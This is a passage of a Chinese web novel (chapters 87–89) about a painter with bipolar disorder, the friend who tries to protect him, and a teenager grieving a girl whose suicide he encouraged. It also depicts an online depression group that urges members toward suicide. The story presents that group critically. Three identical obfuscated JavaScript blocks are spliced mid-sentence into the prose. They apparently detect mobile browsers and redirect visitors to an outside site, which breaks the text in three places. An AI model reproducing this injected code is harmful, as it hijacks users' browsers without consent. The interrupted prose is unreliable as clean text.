齐怀生抢完了也不理会他，走到龙皓身边掐住对方肩膀：“走吧小子，我送你回去。路上有事儿问你。” 那手力道太大，掐得肩胛骨疼。龙皓愕然，挣扎两下，就听到那沉如深井的声音在耳边发出气音：“关于杨翎。” 87. 泥泞 陈向然拿起一根新拆的红双喜。反复搓捏，戳在唇边，又扔回桌上。 听了他的话，没抽烟，也没流连冰箱里吃剩的外卖。齐怀生离开了很久，回来时将近七点钟，陈向然正蹲坐在画室里，缩在墙根下自我取暖。 仰头是他的画架。白色少年画牢牢固定四角，那个挺拔的背影随纸张鼓起、落下，似那画里有风。屋里没开灯，窗外薄薄的灰云裹住太阳，只透进一点柔白的光。纱帘的影子在他眼里忽隐忽现，轮廓在光里羽化，轻轻拂动画卷。 他习惯这么蜷着，把脸埋在膝盖，闭上眼一动不动。入夜之际，不知不觉沉入黑色的睡眠，梦里仍是封闭、死寂的深海。一个少年从上方坠落，海中校服在水里飘荡，身边环绕他陈向然用过的画具——不知怎的，梦中的他可以笃定那是陆引赠予的刮刀，齐怀生送的画架。他向少年游去，恍惚间那少年回过头来，纽扣扯着丝线漂在水中，不是校服的纽扣，是布偶脸上的眼睛。 那是龙皓的脸。 “来吧，该吃饭了。” 齐怀生的影子笼罩在头顶。不知道他在睡梦中，默默给了他两脚。陈向然睁开眼，茫然地抬抬头，露出翕动的鼻尖。 消毒水味，酒精味，烟味，混杂在一起，铺天盖地地占据他的精神。他深吸一口气——烟味更浓，方才刚抽的。抽之前，他和龙皓去了医院。 “龙皓……出什么事了？”他没头没尾地问。 “没怎么，回家了。噢，对了，被他妈妈扭了耳朵。”齐怀生逗他似的，挑了挑眉毛。 “之前呢？”陈向然注视他，眉末塌下来，黑沉的眼睛隐隐有恐惧，“你和他去的医院，对么？” 齐怀生脚尖停止摆动，忽地沉默了。望向身后悠悠起伏的画布，帘影在脸上浮动。 陈向然等着他开口，说那个孩子健康活泼，没有如他一样在孤独中堕落成患。却见对方蹲下来，挡住视线里的天色，眼里倒映微弱的巷光。静静地，同自己相觑。 良久，倏然伸手捏起他的下巴。 “我也去医院了，要不问问我有没有事？嗯？”力道那么大，口气勉强保持了温柔。 无理取闹，陈向然心想。 于是他回道：“你有病？” 一语双关、平淡如水且理直气壮。 齐怀生放开他，微笑的嘴角垂下来，眼里暗暗燃着火苗。 眼神也有灼意，把人盯得不自在。陈向然往墙根里又缩一寸，瞄了眼齐怀生的脸，再看看画上的白色背影。线条在浮动的光线下明暗不清，一如他心里的情愫。 残阳褪去了，冷风压着整座城市咆哮而行。黑蓝的夜夺得半边天空，被深巷和窗户框在一处。 天黑了，只剩齐怀生眼里的光。 “早上，”他忽然很轻地说，“我以为你真走了。” 齐怀生一愣，苦笑着说：“你希望我走吗？” “希望。” “我说你这人啊。”齐怀生拽着他衣服，拎猫一样一把拎起来，让他站好，“我对你不好吗？说，为什么老想从我这逃走？” 陈向然被他拖来拽去，惊诧了一会儿，弯腰掸掸身上的灰：“那你为什么和龙皓去医院？” 各问一个风马牛不相及的问题，谁也没答。 陈向然避开他走出画室，快掩饰不住心里的忐忑，随便扯了个话题：“饭呢？” “来不及做了，出去吃。”齐怀生不过多看他两眼，他就把脸别进阴影里，“要我走，还这么会使唤人。” 海鲜市场里有家大排档。 人来人往的，居民提着鱼、乌贼、青菜路过，留下长长的水渍，细流汇成泥滩，浸着烂菜叶，潮乎乎的。又被运建材的工人撒上泥土。陈向然裤子长，裤管和鞋带梢蹭脏了，也没有理会。 店里吵，海产水箱里的氧气装置呜呜地响。店员一网捞起一条石斑鱼，肥大，湿滑，跳动起来腥气四溢，被刀柄三两下敲晕过去。市场里剁刀的声音咚咚传来，血水顺坡流进沟里。齐怀生领他到角落里落坐，避开噪声。 地方简陋，木桌有水渍侵蚀的痕迹。菜单也是手写的，龙飞凤舞，潦草得认不出词儿，只好听老板娘报菜名。 “生蚝和鲳鱼，我没点错吧？你爱吃的。”齐怀生接过订单明细，“这里的墨鱼仔不新鲜，就不给你点了。” 这个人，什么都记得。陈向然瞄他一眼，目光薄纱一样掠过他的鼻梁和嘴唇。对方举起手写菜单辨认，依稀看到“海鲜专区”。 内陆城市，海产从塘泽空运到此，味道不如海上刚网来的鲜。然而这种市场，这种不那么正宗的排档生意都不错，物稀则贵。若是塘泽人开的海鲜餐厅，还贵上个把银钱。 “记得挺多。”陈向然夹了点开胃菜，放到嘴边，只含了一根海带丝在嘴里。 心里仍抛不开这件事。龙皓的聊天记录，龙皓和母亲争吵艺考的事，龙皓去医院……冥冥中一股熟悉的烧灼感在胸口蔓延开，胃微微翻搅，没了食欲。 “跟你有关的，怎么不记得？”齐怀生低声说着，筷子在桌上重重戳了一下，“你倒把我忘一边了。” “没有，我怎么会……” 辩解不成，发现自己中了对方的套，顿时不再说了。齐怀生没忍住偷笑，追问：“你会什么？” “齐怀生。”陈向然缓缓放下筷子，声音痛苦而发虚，“有意思吗？我没同意你住在我家。” “但是龙皓可以去。”齐怀生收起笑容，目露狠厉，“对吧？” “他来上课，不是来常住。” “你有没有想过他可能害死你。” “怎么害？”陈向然看向他，笑了一声，“去医院害吗？你还没告诉我，他为什么去医院。” 店老板举着菜盘走来，冒着尴尬的气氛，勉强抛下一句“慢用”，重新到水箱旁坐着。两人顺理成章地沉默，吃鱼。 筷子上的鱼肉在颤抖，终于掉回盘里。陈向然叹着气放下筷子，放弃和他对峙，先开口：“我们……我们七年前就没有关系了。” 齐怀生仿佛也吃不下任何东西，听到这咽了咽，手扶着眉骨，竭力掩饰难看的表情，深深吸气：“所以从不让我知道你活着吗？不，不对，你不让任何人知道你活着，不让任何人帮你，也不想我留下。”他拿开遮掩的手，露出血丝交错的眼睛，“为什么？” 他不想齐怀生留下的理由可太多了，一条一条数来，说到猴年马月。 即便他有耐心，语言能传达的东西到底太少了。他说不出自己万分之一的腐朽。 他只说：“不想你看我笑话。” 不想齐怀生看到，曾经满怀理想的自己，最终在理想中溺毙，还向着无光腌臜的深处死不回头。一身泥泞，还可笑地自封英雄。像电影主角的真知寿，像阿基里斯追逐乌龟。 他乐意，把自己藏起来过着言语无可传达的生活。可齐怀生看到不会作此感想。 他不懂——即便他这时候投来的目光那样炙热，陈向然知道，他仍是不懂的。 “你要是个让人开心的“笑话”，倒好。”齐怀生皱着眉头扯了一个歪曲的笑，“而不是站在那里厌厌的样子。你甚至都没站着，你坐着你蜷缩着，烟酒作餐，躺在被子里睡一整天。发作了就把自己锁在画室里，我都要急死了，可不管我怎么砸门你就是不理。还有手……” 齐怀生摩挲他手臂内侧，疤痕横七竖八网布在上面，淡淡的，苍白的，仿佛碎了又被粘起来的精致瓷器。他害怕这件珍贵的瓷器在他眼前再碎一次。 “别说了……”陈向然轻轻抽了抽手，没抽出来。喉头哽咽，眼睫颤动，蚝肉新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302006|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜白嫩热气冒腾，举到嘴边，怎么也吃不下去，掉回碗里，“别说了，在我身边就是这样的日子。我不能让你开心。” “真巧，这样的日子，我过得也不少。你不如试一试，给我个机会呗，嗯？” 自打重逢，齐怀生就是副不讲道理的模样。然而专注和笃定从他眼里流露出来，像是要穿透他的魂魄。陈向然被那美好夺目刺了眼睛，灼了多年覆冰的心，只想退缩。 他不值得这样的执着。 他掏出手机想寻求一点安慰。 只要他在抑郁症求助群里发出一条信息，就会有数十个患者附和。但他很少袒露自己。他决定与过去的那些事一刀割裂，不再提及。这样……一切就能朝好的方向去了吧。 也许吧……他想。 七年，这个交流群每时每刻都能给他一份理解。物以类聚，陈向然混迹其中，心安理得地活在同类聚成的壳中，没有人知道他是谁，而所有人都与他同心。 他几次退出群聊，又忍不住再加入。一个抑郁症聊天群几百上千人，总有人因疾病痛苦而自我了断。最年轻的孩子十二岁，说自己伤己伤人，家人为他哭，邻居和居委会为他感到困扰，亲戚朋友怜悯而回避不见。人生还长，他却不愿像这样活着，日复一日看不到尽头。他向群友道别，群友纷纷发语音送别他，声音里夹着绝望与啜泣。 一开始是群主起头，于是大家给他离开世界的勇气，告诉他不用怕，不必回头，前方是解脱。大家都会想念他。 这是他们这样的人需要的理解吧，陈向然又信又疑地想着。 后来他麻木了，这世上总有人在离开。 齐怀生到了家就去换衣服。一身毛绒绒的灰色睡衣走出来，问他：“午睡一下，你昨晚没睡好。太疲劳容易发作。” “不睡。”陈向然仍在翻看今天的聊天记录。 齐怀生“嘁”了一声，误以为他在怄气，咬了咬下唇，上前将他拎拽起来：“是我帮你换睡衣，还是你自己换？” 衣领子被攥着，陈向然用力拽，拽不出来。被齐怀生拖进怀里，膝弯一捞，抱起的动作倒很轻柔，一下抱进了卧室。 陈向然无力与他争执，与他躺一块。晌午日头爬上窗帘，映出烫生生的一圈光晕，晃眼得很。齐怀生的呼吸声渐渐均匀。 他偷偷溜下了床。 城中村附近有片骑楼区，与石川那片相似，却规模不大。 糖水铺热气腾腾，把寒风阻挡在外。陈向然面前一只小瓷碗，和店铺一样的陈旧，这店开了二十年，碗可不是也用了二十年。碗里甜汤粘稠细腻，滑过舌尖，留下清甜的香气。几颗糯米丸子圆鼓鼓地挤在瓷勺子里，极像那年齐怀生请他喝的第一碗糖水。 他吃空了小瓷碗，龙皓才来。 是龙皓主动邀的约。几天不见，他又枯槁了几分，上衣划了圆珠笔的痕迹，发黄发皱。两颊凹陷，黑眼圈惹人注目。再这么下去就快没了少年的样子。 陈向然想训斥，又不忍地想提醒他回去换件得体的衣服。龙皓不等他说话，上来就问：“然老师，你是双相障碍，很多年了，治不好，对吧？” 店中满是食客，谈笑皆欢没有人注意这个角落的谈话。可陈向然仍忍不住被病耻感包围，拉着他到街边巷里：“你不是知道么？” “那……你一定……” 陈向然答应来与他相遇，只担心他的状态。他想说什么，是不是吞吐犹疑陈向然不在乎。转身又想趁齐怀生不在点一根烟，抬头还瞧上街对面一家小酒馆。 “一定在有些时候……” 烟圈轻吐，浓雾袅袅而上，与白蒙蒙的云天相融。 “想自杀吧。” 陈向然捏烟的手一顿。 风声很大，可龙皓说的每个字他都撞在他脑海里。 88. 误会 这是劝导孩子的好时机，陈向然这么想。然而那些陈年旧事像戴在心上的镣铐，他咬着嘴唇吐不出半句劝。 “有和没有又怎样？人都要死。”他垂眸盯着燃烧的香烟，看它一点点燃尽寿命，化作烟灰簌簌落地，沦为路人的脚下土，“反正，我还站在这里。” “如果有，你现在为什么还站在这里呢？” 为什么呢…… 他含着烟想起当年，脑海中先出现的不是山顶的深渊，而是那个撕心裂肺的声音。山里没多少信号，喊话混杂着忙音，哑得仿佛含血而泣，散在五月的最后一场雨雾里。 他笑了，像苦笑又像嘲笑。龙皓一脸惑然，不知他忽然笑什么。 “别傻了小子。”陈向然发出轻蔑的一声哼，低头端详手里半支烟，“死了能换来什么好处？” “可是不痛苦吗……” “你想说，劝患者活下去，是折磨人家，不尊重人家决定自己生命的权利？”他嘲讽般扯了个似有若无的笑，想到聊天群里一个接一个消逝的生命。他不晓得他们离去时是否安心，只知道生者难熬，死者同样失去一切可能。他也不知人活着的意义，只凭直觉，拼死抵抗疾病的催命咒。 “你……”龙皓露出忧惧神色，“你知道了吗？” “……”陈向然觑他，目光轻如薄雾，淡如死水，像是对他的事一点不感兴趣。 龙皓说：“生哥告诉你的吗？” 死水里泛起活粼。他终于转过头去，正想质问，发生了什么，齐怀生又瞒了他什么。想了想知道龙皓无辜，又沉下心来：“嗯。” “你还是知道了……可是我觉得，对于杨翎来说，我没有……做错。”说着没错，声音却是软弱下去了。 杨翎，齐怀生带他去看望过的双相障碍少女，叶知的病人。他见到哪女孩披头散发蜷在病床上，浑身都透着熟悉的绝望。然而他没有同类相认的欢欣，只避之不及，避曾经的自己，和那个稚嫩的自己身边的一切控制、背叛、疯狂…… “怎么没有做错？”陈向然继续套话。 “她要死，我劝过她的。我说死了有什么用？自己灭自己的口，还不是让那渣男逍遥法外。她偏觉得不能说，也不让我说。说这种事让人知道，比死了还痛苦。” 陈向然眉心紧蹙：“那男的怎么了？” “生哥没同你讲么？你知道吧，现在有一种可学习的社交技能，被人专用来精神控制了。” 他心下了然，这是遇人不淑，被伤害了。 女孩成绩中游，父母给她立了榜样，期望她追上重点班的邻居孩子，每天紧跟监督。大考没有进步便疯狂揪自己头发，常说自己一无是处，反复自省。她的男友告诉她，她只是不够努力，吃不得苦。若相貌不尽如人意，学习应学得更卖力些。 话很耳熟，似乎一半曾出于父母之口。长相清丽可人的女孩被折磨得憔悴，回过神来，早已被带入漩涡。 “她逃不掉，跟我说她不配活在世上，不配和那男的在一起。人家与她交往是垂怜，除了他没人愿意接受这样的她。” 陈向然发着呆没有回应，龙皓便低下头，喉头哽住，呼吸都不顺畅了：“一无是处的是我。一年了，我说我带她走，开导她，可是我们能去哪儿。她很痛苦，我不好挽留她活着了。她有权决定自己的生命，也许死真的是——” “真的是……”陈向然呼出潮湿的浓雾，指尖微微颤抖，“最最悲哀的下下策。” 龙皓睁大了眼睛，不发一言。 “是你鼓励她忍受死亡的痛苦吧。”陈向然脑海里不断闪现聊天群里被踢出的账号，那条条账号背后都是鲜活的命，“为什么？” 龙皓扯了个难看的笑：“她死前几分钟，我们正好在通电话。” 陈向然想到了什么，心里忽地揪作一团。 “她让我鼓励她，我这么做了。因为……我经常觉得，我和她就好像在同一个漩涡里，她想什么，感受什么，我都理解。好奇怪……我好像在救她的过程中，慢慢与她站在一起了一样。” 他理解了。陈向然想着，吸了口烟。 又一个孩子理解了那片无望的深海，试图拉扯他人又反被拽下水去。而无人告诉他们该怎么办。他们能做的似乎只有努力和改变，等一个不会到来的尽头。 他蓦地有了个念头，一个从来没有过的想法，想当那个提灯的人。 “难受吗？觉得别扭吗？”陈向然把手伸向口袋，要和齐怀生沟通这事。 说到这里龙皓彻底憋红了眼睛，眼皮发肿，泪光在眼里打转，偏就瞪着不让落下来，喃喃重复：“我不知道，她死了，我不知道……” 陈向然等着他平复情绪，把身上的口袋翻了个遍。 手机不在身上。 振动声响起，在枕边。齐怀生梦中惊醒，掏出一个手机，一看，是骚扰电话，便扔到一边。 抹了把疲倦的眼睛，意识到那是陈向然的手机，一下清醒过来。看着身边空荡荡的被窝，不见的门钥匙，没带走的手机。先是脑中一片白，紧接着气得青筋都要断了。 这是走了也不想让他找到？ 齐怀生一个懒腰翻坐起来，冲到客厅、画室、厨房、卫生间，没人，是真的出门了。家用细软都还在，并不是搬走了。可翻遍卧室也没找到什么留言。 他靠在门上，不满地想：瞎跑什么，不让联系，也好歹说一声什么时候回来。 今天本约了申恺帮忙录歌，只能翘了约定，在对方“重色轻友”、“有了媳妇儿忘了爹”等等挖苦的话中面无表情地挂断电话。先找人。 齐怀生跑遍了周边常去的饭店、烟酒茶铺、手机维修铺，还敲了邻居的门。邻居是个大学生，住在这一带十分警惕。平日里当陈向然是个精神不正常的酒鬼，于是面色不善地说没注意，“砰”地关了门，听声音，还双锁了。 齐怀生叹口气，挠乱了头发。往回走了一段，才想起那个手机。 他火速奔回家，拿起陈向然的手机，幸运的是他没有锁屏密码，屏幕一划，进去便是聊天界面，消息一条一条蛙一般跳出来。看得齐怀生脸色骤变。 聊天记录和群简介都明晃晃地告诉他这是一个抑郁症聊天群。陈向然大约是为了抱团取暖。他想起昨日陈向然抱着手机也不看他一眼的样子，心里发堵。明明他在这，陈向然怎么就不肯依赖他呢？ 消息仍在断续跳出，齐怀生看下来，确信这个抱团群不能互相取暖，只是一帮不知是否真生病的人，互相拉扯着一同下坠罢了。 他搜索聊天记录，搜搜陈向然最近一次发言。然而日期是一年前了，他说：我好痛苦，谁能告诉我怎么办？ 回复他的都是不痛不痒的鼓励，只有一两个人在告诉他深呼吸，不要接近窗户和锋利的东西，有人在身边就让他拿湿毛巾来擦脸，按医嘱吃唑仑片或西泮片，然后去睡觉。 再往前翻：我不知道能劝你什么，但还有人在等你，请活下去。 此消息的几个月前：相信我，我也是像你一样，选择了活下来的。活下来才能找到你要的答案。 一直往前，一条条认真读过，直到最初的一条消息：我爱的人以为我死了，我要告诉他吗？ 齐怀生紧握着手机，指节苍白发抖。心脏抽搐起来，疼得他蹲靠在床边，弯下腰去。他忍着隐痛翻记录，那一条条消息像刀刃一样在他心上割，可他仍是翻看，就是停不下来。 ——他受我拖累，为我做了很多。如果不是我刚好有一笔意外的钱，托人让他去个好学校，我也不知怎么还他。 ——去找他吗……他人生正好，我不想他后悔。 ——是的，我喜欢画。以前画的都撕了，因为我的老师出卖了我，我不能再走这条路。 ——或许有一天我还是想走，到时他会更难过吧。我总是让他难过。 ——嗯，谢谢你们，我已经决定了。也许黄泉路上还有你们作陪。 他退出记录界面，看着一条条鼓励自尽的新消息，差点把手机捏碎。他眼睛热得发疼，吸了吸鼻子，想到的太多，多得缠作一团解不开的毛线。那聊天群就像一个阴风吟吟的深渊，告诉他陈向然就在下面，让他无论如何只有舍身一跃。 龙皓的消息这时弹出来，他忍不住点开，对面发来一个图文链接。齐怀生感到很熟悉，带龙皓去医院同警方做笔录时，他交代过这篇图文。他当时便是给杨翎发了链接，鼓励女孩不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302007|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有负罪感地离去。 齐怀生脑子里一下炸了。 “就是这个。”龙皓把图文转发给陈向然，再一点，链接已屏蔽，怎么也打不开了，“当时聊天群里发的，我转给杨翎了。老师……” 陈向然瞥了眼链接标题，无动于衷地抽上一口烟。 巷里有人进出，是住这的老人。白发丝稀疏杂乱，花衬衫几处发灰，卷着裤腿出来泼倒浑水，警惕地瞧了他们一眼。大约是个独居老人，陈向然在那望来的目光里读到无法排解的孤独。 老人也会郁郁而生，可这位老人永远没有上医院的机会了。 “老师，”龙皓忽然又说，“我是不是，间接地……” “别瞎说。” 他沮丧地退了一步，埋着脸不敢看他：“我记得你说过，你以前有个同学寻了短见，周围的人都是杀人凶手——” “有钱吗？”陈向然打断他。 “诶？”龙皓愣了愣。 “请我喝酒，慢慢聊。” 骑楼区有许多新装潢的小酒坊，老店新修，还与上个世纪无二。龙皓给他买了最好的酒，给他斟一杯，又试探着瞄他两眼，得到默认的许可，给自己倒了半杯。 陈向然不说话，如往常一样喝了个过瘾。这些日子被齐怀生看管着，断了好多顿美酒。一下子补回缺少的畅快，脑子里的乱麻都麻痹起来了。 “齐怀生还跟你说什么了？”他又抿了口酒，指尖浓浓的烟味还没散去。 龙皓今天难得规规矩矩，给他满酒：“他跟叶医生在聊你妈妈的——” 砰—— 一声巨响，陈向然把玻璃杯重重敲在桌上。龙皓像是被吓狠了，两眼霎时圆睁，浑身一颤，往旁躲了躲。店客显然吓得不轻，声音如断弦一般静了片刻，才又重新热闹。 “我妈妈什么？”陈向然的声音婉转而危险，是竭力克制的结果。 “他……他没告诉你啊。”龙皓后怕未消，话也不利索，“那我不能……不能说，我答应了他——” “为什么不能说？”陈向然倏地加大音量，杯子叩在桌上，酒水泼得湿了半桌。引开整个店不解的目光。 “他还让我离你远点，上课也要他监督。就他对我这样，我要是说了他不得办了我？” 陈向然大口呼吸着，眼红耳赤的。他自认自己心软，这时候就不愿为难人了。什么也问不出来，反倒自己吞下疑虑。 龙皓见他平静下来，轻轻给他顺顺背：“然老师，他是你什么人啊？不是老朋友碰上了，恰巧照顾照顾你而已么？” “嗯，照顾我。”陈向然深深皱眉，心里快藏不住迸发的情绪，仰头灌下整杯酒，晕乎乎地晃了一下，“放心，今后他便不在了，他不走，我走。”他给自己倒了满满一杯。桌上倒了几个空瓶，他早数不清是第几杯了。 “你……还好吗？”龙皓凑近了，脸他脸和脖子一片红粉，知道他是彻底醉了。 皮筋松了，两侧长发垂在脸上，眼里的世界像塘泽的海浪摇晃翻滚。陈向然借酒精勉强控制自己。只是忘记吃药了，他告诉自己，不要对龙皓发火，不要对齐怀生生气。 不要伤害别人。 “他为什么，不告诉我这些？”他含糊不清地说着。 “别喝了然老师，我不该带你来的。”龙皓起身要将他架起来。没敢使力，陈向然一挣扎连他一块儿往下拽。 陈向然埋头打了个嗝：“他……凭什么替我决定？” 龙皓近乎无计可施，想起给齐怀生打电话，打开手机发现对方早就来了好几通未接来电，连忙回拨。 陈向然已然不知道自己身处何地了。 发作还没结束，只是减弱了。身下是床，他硬撑着爬起来，不过两步就往前摔。有人硬邦邦地站在他面前，任他跌进怀里，一手环腰撑起他的身体。再将他毫不客气地扔回床上，一条没拧干的冷毛巾“啪”地扔到脸上。 冷水凝起他失落的魂魄，终于清醒了。陈向然捧着湿毛巾仰脸看人——他从未见过这样的齐怀生，双眼通红，仿佛下一秒就要吃了他。 “以后没我的允许，”齐怀生声音仿佛阴冷的山洞深处，低哑得可怕，“不许离开我身边。” 89. 心扉 毛巾沾湿了脸颊，分不清是清水，还是发作流淌的冷汗。扬言要将他锢在身边的人给他灌了今天的药，动作鲁莽粗暴，“嘎吱”一声将人推在床上，棉被紧裹，仿若一只茧缚的蚕虫。 陈向然没有睡去，房子隔音不好，白天挡不住窗外各种各样的吆喝声。此外他晓得身边的人在生气——眉头紧锁，唇梢抿成细线，僵硬着手臂由他枕着。 他睁开眼，没有说话，凝视齐怀生的侧脸。 “醒了就说说吧。”齐怀生闭着眼也知道他醒了，“之前我怕刺激你，有些话没机会问。可这样不是办法。” 陈向然仍无波澜，就那么看他，像是思索什么，又像是完全不在意。 “你那时去操场涂鸦，和我告别，上山，为什么那样做？” 陈向然转开头面对天花板，闭眼笑了笑。 一念之差的事说不清。他梦里见过无数场景，色彩碎裂的一幕总是连接着父亲在海水中的脸，从中跳出无数个穿着校服的假笑的小人。 只是梦罢了，清醒的时分他想不起那些模糊的场景。过去了，就只是过去罢了——自从电击治疗后，他便如此想着。 “过去的就过去吧。”他微笑，叹着气说，“齐怀生，你比我还不会向前看呢，老是回头，回头，回头，有什么意思？” “是么？你貌似向前看了，”齐怀生只手扳过他的脸，“可你真过去了吗？” 陈向然正要说什么，对方递来他的手机，上面赫然是他的聊天群，今天的群聊仍然热闹，每弹出一条消息，齐怀生的脸色就难看一分：“这是什么？” 陈向然清楚地看到上面的内容，也正因看见了，倒回答不出了。 齐怀生怎么会明白呢？他想，倒不如沉默，像一直以来那样。 “以后这种群，”齐怀生当着他的面删去群聊，“不许再加。” 刚吃了药，陈向然生不出什么情绪，只冷淡地看着，一丝青灰天光在眼前游晃，齐怀生的脸明明暗暗。屋里一如既往的寒冷，冷到人失去知觉。 “还有，”齐怀生又转过来，勒住他的腰，生怕他听不清一般，在他耳边说，“康复之前，不许离开我身边，不许见龙皓，不许……” “我把我自个儿卖给你算了。”陈向然碰上他的鼻尖，趁他愣住的一瞬，挣脱出来，坐在床边，脑后扎起狼尾辫。 他又要走。 时间长了，齐怀生知道他每日都有理由刻意避开自己，不甘得唇角都在抖，刹那间蛮横地想把人抓回来。 “还能多收笔钱呢，对吧。”辫子扎好，话也补完了。 钱…… 齐怀生手指一抖，没碰到人便止于空气中，悻悻收回来。直到他离开床榻，带上门，都没再伸出手去。 房门一关，世界阴冷阙寂。 他重重拍在脑门上，深深吸了一口冷空气，终于冷静下来。 怎么就失控了。 他在这时候接到叶知的电话，愧疚得说不出话。叶知在那头发出“啧啧”的感叹，玩逗似的说：“陈向然怎么了？” “不是他，是我。”齐怀生疲倦地抹了把脸，呼吸粗重，很多天都没睡好觉了，“我太过了，把他又推远了，是我的错。” “你只是被杨翎的事影响了吧，别想太多。”叶知听到他的气息，话都温柔了，“他在吗？我和他说两句。” “人走了。”齐怀生尾音一颤，“我感觉他想和我说什么，肯定是我态度不好，他不愿相信我了。” “你也别担心了，把自己折腾坏了咋办？你要病了我第一个放弃你啊。”叶知试图活络气氛，“我早说过，你不该一个人去他家里照顾他。你要是信不过恺哥，晋哥今天刚到江洲，他靠谱。” “那能怎么办？”齐怀生眉心深凝，脾气呼之欲出，又讪讪收敛住自己，“虽然我不知道是什么……一定有什么东西困扰他这么多年。我等着他愿意打开自己，才知道他到底需要什么。现在我看不住他了，他压根不听我的。” “你知道他为什么封闭自己吗？”叶知淡淡地反问，仿佛门前问诊一般严肃，“或许不管你怎么做，他都不会轻易听你。” “……” “另外，等我们知道了他需要什么，那个时候，”叶知顿了顿，轻轻地，又残忍地说，“你给得了他吗？” 齐怀生只是沉默。 丝丝缕缕的冷风穿透他的胸膛，拂帘而去，破开巷道向云端去，如囚鸟破笼而出。 成群的候鸟乘风掠过阴沉的天空，江洲的冬天已经这般萧索。 陈向然站在公交站牌前，腋下夹两幅画，卖了，好解决这个月饭钱。 他望着大街上车人涌动。想着林岚若是看到他这般，会说些什么。只是一瞬划过的想法，又被别的东西覆盖了。 回头望了家门一眼，齐怀生没追出来，小电驴还在原地，和其它车排列墙边，阵风刮过，两个头盔“咣当”摇晃。 他终究没问关于林岚的消息。 几年前他不愿吃药，没钱做心理咨询，那便借网络治病。东拼西凑的小贴士，他深深记住了一个“远离影响源”。想了想，说不清影响源是什么。于是决定与世界失联，把自己包裹得漆黑厚实，什么也碰不到他。 这样就好，他不想要不速之客。可他的防御壳还是太软，让一个离家出走的孩子闯入了，让齐怀生闯入了。 甚至眼前还站着第三个闯入者。 申恺在画展厅里左右逡巡，摸摸观赏灯下起伏的颜料轨迹。他不满什么似的黑着张脸，时不时叹出一口寂寞的气。 看到陈向然，叹气的嘴张在那不动了，像个下巴脱臼的木偶。 “你是陈……”他还不敢认。 陈向然下意识摸了自己的发辫，手背蹭蹭胡茬：“好久不见，申恺。” 申恺的下巴堪堪缩回去，伸着脖子看他身后，发现空空如也，睁大了眼：“你一个人来啊？我生哥呢？我那么大个生哥呢？” “齐怀生？”陈向然抬抬眼皮。 “啧，生哥和我约好了来看画展。因为你，他放了我又大又肥的一只鸽子嘿。”申恺扇扇手掌作飞鸽状，佯作不悦，可陈向然看出来了，他一直在担忧地注视自己。 陈向然抖抖手里的画卷，表示自己是来卖画的。画廊老板正好从里面出来，笑作一朵太阳花，搓搓手问他这次又有什么大作出售。 陈向然随老板进工作室，申恺不顾“闲杂人等止步”的标牌固执地跟进来，也不知什么毛病，挑衅地冲人吹吹口哨，一举一动俨然当年的痞相。老板瞪了他一眼，反被他抛个媚眼，一脸复杂地抽搐，不和他见识，勉强地冲陈向然笑，请人坐下。 陈向然把画摊在桌上，让他出价。 老板摸宝贝似的，轻轻触碰那美丽的色彩，戳指着沉郁和张扬的交叠处。阴冷的蓝灰色和火热的橙红色羽化分隔，一漆黑小儿半身陷入蓝灰的沼泽，露着期盼的笑，小手伸向烈焰一样的金红，霎时被烧去五指。 他被光明灼伤，手掌残缺，笑容僵硬。 申恺头回见他这样悲怆的作品，表情复杂。陈向然见他木住，刻意问：“怎么了，恺哥？” 这声哥带着些微嘲讽。申恺回过神来，故作傻笑，掩饰方才异样的眼光。陈向然想起他以前也爱装傻，成天四处闲游，揣着明白装糊涂。有些东西，是不知不觉在人每个毛孔里根植的，改不掉，他想。 “你最近还好吧？”申恺压了压帽子，冲桌上热烈的色彩和图案抬抬下巴，“还画画呢？” 陈向然嗯了一声，接过老板给的价表。 “以前的事儿还记得？” “忘记了。”是谎话也是实话，“都忘记了。” “那……”申恺又张了张嘴。都忘了，那又能问出什么，索性闭口。 老板在踌躇价钱，斜眼睨着申恺，见他几分流气，几分辗转生意场的小老板气，不惹，便直说：“五千——” 申恺“乓”地一脚踩上圆桌，手肘搁上膝盖，微笑着盯住人：“多少？再说一遍？” 陈向然猝不及防吓得一抖，朝后仰了仰，看看申恺，再看看老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302008|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板，想到齐怀生和他说过的冒名售画的事，一下明白。推了推申恺：“你别来瞎闹。” “堂堂陆引的得意弟子就这么点价值啊？”申恺冲着他故意道，“我说你怎么比以前愣了？陆引他老人家的名头不好用？” 陈向然心想，那可好用了。 当初一张手法随意的老屋画叫价十八万，他保守着猜，三分之二都是陆引的面子价。 陆引这些年名气大涨，艺术圈一半以上都认得。画廊老板听懵了，像是信不过两瓣薄耳，猜测是哪个“陆”，哪个“引”，大气都不敢出。 毕竟他总得将作者铭牌改作姓陆的名字。 